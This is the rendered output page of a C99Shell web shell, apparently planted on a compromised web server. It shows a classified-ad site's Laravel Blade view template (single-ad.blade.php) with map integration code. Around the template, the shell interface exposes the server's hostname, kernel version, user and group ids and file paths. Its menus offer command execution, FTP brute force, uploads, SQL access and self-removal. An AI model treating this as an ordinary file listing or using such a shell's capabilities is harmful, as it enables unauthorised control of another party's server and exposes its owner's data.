!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/resources/views/frontend/   drwxr-xr-x
Free 29.42 GB of 117.98 GB (24.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     single-ad.blade.php (10.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
@extends('frontend.layouts.app')

@section('title')
    {{ $ad->title }}
@endsection

@section('meta')
    <meta name="title" content="{{ $ad->title }}">
    <meta name="description" content="{{ $ad->description }}">

    <meta property="og:image" content="{{ $ad->image_url }}" />
    <meta property="og:site_name" content="{{ config('app.name') }}">
    <meta property="og:title" content="{{ $ad->title }}">
    <meta property="og:url" content="{{ route('frontend.addetails', $ad->slug) }}">
    <meta property="og:type" content="article">
    <meta property="og:description" content="{{ $ad->description }}">

    <meta name=twitter:card content=summary_large_image />
    <meta name=twitter:site content="{{ config('app.name') }}" />
    <meta name=twitter:creator content="{{ $ad->customer->name }}" />
    <meta name=twitter:url content="{{ route('frontend.addetails', $ad->slug) }}" />
    <meta name=twitter:title content="{{ $ad->title }}" />
    <meta name=twitter:description content="{{ $ad->description }}" />
    <meta name=twitter:image content="{{ $ad->image_url }}" />
@endsection

@section('content')
    @php
        $lat = $ad->lat;
        $long = $ad->long;
    @endphp
    <!-- breedcrumb section start  -->
    <x-frontend.breedcrumb-component :background="$cms->ads_background">
        {{ $ad->title }}
        <x-slot name="items">
            <li class="breedcrumb__page-item">
                <a class="breedcrumb__page-link text--body-3">{{ $ad->title }}</a>
            </li>
        </x-slot>
    </x-frontend.breedcrumb-component>
    <!-- breedcrumb section end  -->

    <!-- single ads section start  -->
    <section class="product-item section">
        <div class="container">
            <div class="row">
                <div class="col-xl-8">
                    {{-- ad badge --}}
                    <x-frontend.ad-details.ad-badge :featured="$ad->featured" :customerid="$ad->user_id" :status="$ad->status" />

                    {{-- ad info --}}
                    <x-frontend.ad-details.ad-info :ad="$ad" />

                    {{-- ad gallery --}}
                    <x-frontend.ad-details.ad-gallery :galleries="$ad->galleries" :thumbnail="$ad->image_url" :slug="$ad->slug" />

                    {{-- ad description --}}
                    <x-frontend.ad-details.ad-description :description="$ad->description" :features="$ad->adFeatures" :videourl="$ad->video_url" />
                    </div>
                <div class="col-xl-4">
                    <div class="product-item__sidebar">
                        <span class="toggle-bar">
                            <x-svg.toggle-icon />
                        </span>
                        <div class="product-item__sidebar-top">
                            {{-- ad wishlist --}}
                            <x-frontend.ad-details.ad-wishlist :id="$ad->id" :price="$ad->price" />

                            {{-- ad contact --}}
                            <x-frontend.ad-details.ad-contact :ad="$ad" />

                            {{-- ad customer info --}}
                            <x-frontend.ad-details.ad-customer-info :customer="$ad->customer" :ad="$ad"
                                :link="$ad->website_link"/>
                        </div>

                        <div class="product-item__sidebar-bottom mb-4">
                            <div class="product-item__sidebar-item overview">
                                <div>
                                    <div class="location-text">{{ __('location') }}</div>
                                    <div class="p-half rounded">
                                        @php
                                            $map = $setting->default_map;
                                        @endphp
                                        @if ($map == 'map-box')
                                            <div class="map mymap" id='map-box'></div>
                                        @elseif ($map == 'google-map')
                                            <div class="map mymap" id="google-map"></div>
                                        @elseif ($map == 'leaflet')
                                            <div id="leaflet-map"></div>
                                        @endif
                                    </div>
                                </div>
                            </div>
                        </div>

                        <div class="product-item__sidebar-bottom">
                            <div class="product-item__sidebar-item overview">
                                {{-- ad overview --}}
                                <x-frontend.ad-details.ad-overview :ad="$ad" :product_custom_field_groups="$product_custom_field_groups" />

                                <p style="display-block;border-bottom: 1px solid #ebeef7"></p>

                                {{-- ad share --}}
                                <x-frontend.ad-details.ad-share :slug="$ad->slug" />
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </section>
    <!-- single ads section End  -->

    <!-- related ads section start  -->
    <x-frontend.ad-details.ad-related-item :lists="$lists" />
    <!-- related ads section end  -->
@endsection

@section('frontend_style')
    <link rel="stylesheet" href="{{ asset('frontend/css') }}/swiper-bundle.min.css" />
    <link rel="stylesheet" href="{{ asset('frontend/css/productslider.css') }}" />

    <!-- >=>Leaflet Map<=< -->
    <x-map.leaflet.map_links />

    <!-- >=>Mapbox<=< -->
    <link rel="stylesheet" href="{{ asset('frontend/plugins/mapbox/mapbox-gl-geocoder.css') }}" type="text/css">
    <link href="{{ asset('frontend/plugins/mapbox/mapbox-gl.css') }}" rel="stylesheet">
    <!-- >=>Mapbox<=< -->
    <style>
        .mymap {
            width: 100%;
            min-height: 400px;
            border-radius: 12px;
        }

        .p-half {
            padding: 1px;
        }

        .location-text {
            color: #191f33;
            font-weight: 600;
            padding: 22px;
            border-bottom: 1px solid #ebeef7;
            font-size: 24px;
            text-transform: capitalize;
            margin-bottom: 1px
        }
    </style>

    <!-- Swiper Slider Styles -->
    <style>
        .swiper {
        width: 100%;
        height: 100%;
        }

        .swiper-slide {
        text-align: center;
        font-size: 18px;
        background: #fff;
        display: flex;
        justify-content: center;
        align-items: center;
        }

        .swiper-slide img {
        display: block;
        width: 100%;
        height: 100%;
        object-fit: cover;
        }

        .swiper {
        width: 100%;
        height: 300px;
        margin-left: auto;
        margin-right: auto;
        }

        .swiper-slide {
        background-size: cover;
        background-position: center;
        }

        .mySwiper2 {
        height: 80%;
        width: 100%;
        }

        .mySwiper {
        height: 20%;
        box-sizing: border-box;
        padding: 10px 0;
        }

        .mySwiper .swiper-slide {
        width: 25%;
        height: 100%;
        opacity: 0.4;
        }

        .mySwiper .swiper-slide-thumb-active {
        opacity: 1;
        }

        .swiper-slide img {
        display: block;
        width: 100%;
        height: 100%;
        object-fit: cover;
        }
    </style>
@endsection

@section('frontend_script')
    <!-- >=>Leaflet Map<=< -->
    <x-map.leaflet.edit-leafletmap :lat="$lat" :long="$long" :marker="false" />

    <!-- >=>Mapbox<=< -->
    <script src="{{ asset('frontend/plugins/mapbox/mapbox-gl-geocoder.min.js') }}"></script>
    <script src="{{ asset('frontend/plugins/mapbox/mapbox-gl.js') }}"></script>

    @stack('ad_scripts')
    <!-- ================ mapbox map ============== -->
    <script>
        mapboxgl.accessToken = "{{ $setting->map_box_key }}";
        const coordinates = document.getElementById('coordinates');

        var oldlat = {!! $ad->lat ? $ad->lat : $setting->default_lat !!};
        var oldlng = {!! $ad->long ? $ad->long : $setting->default_long !!};

        const map = new mapboxgl.Map({
            container: 'map-box',
            style: 'mapbox://styles/mapbox/streets-v11',
            center: [oldlng, oldlat],
            zoom: 6
        });

        var marker = new mapboxgl.Marker({
                draggable: false
            }).setLngLat([oldlng, oldlat])
            .addTo(map);

        function onDragEnd() {
            const lngLat = marker.getLngLat();
            let lat = lngLat.lat;
            let lng = lngLat.lng;
            $('#lat').val(lat);
            $('#lng').val(lng);
            document.getElementById('form').submit();
        }

        function add_marker(event) {
            var coordinates = event.lngLat;
            marker.setLngLat(coordinates).addTo(map);

        }
    </script>
    <script>
        $('.mapboxgl-ctrl-logo').addClass('d-none');
        $('.mapboxgl-compact').addClass('d-none');
    </script>
    <!-- ================ mapbox map ============== -->
    <!-- ================ google map ============== -->
    <script>
        function initMap() {
            var token = "{{ $setting->google_map_key }}";

            var oldlat = {!! $ad->lat ? $ad->lat : $setting->default_lat !!};
            var oldlng = {!! $ad->long ? $ad->long : $setting->default_long !!};

            const map = new google.maps.Map(document.getElementById("google-map"), {
                zoom: 7,
                center: {
                    lat: oldlat,
                    lng: oldlng
                },
            });

            const image =
                "https://gisgeography.com/wp-content/uploads/2018/01/map-marker-3-116x200.png";
            const beachMarker = new google.maps.Marker({

                draggable: false,
                position: {
                    lat: oldlat,
                    lng: oldlng
                },
                map,
                // icon: image
            });
        }
        window.initMap = initMap;
    </script>
    <script>
        @php
            $link1 = 'https://maps.googleapis.com/maps/api/js?key=';
            $link2 = $setting->google_map_key;
            $Link3 = '&callback=initMap&libraries=places,geometry';
            $scr = $link1 . $link2 . $Link3;
        @endphp;
    </script>
    <script src="{{ $scr }}" async defer></script>
    <!-- ================ google map ============== -->
@endsection

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--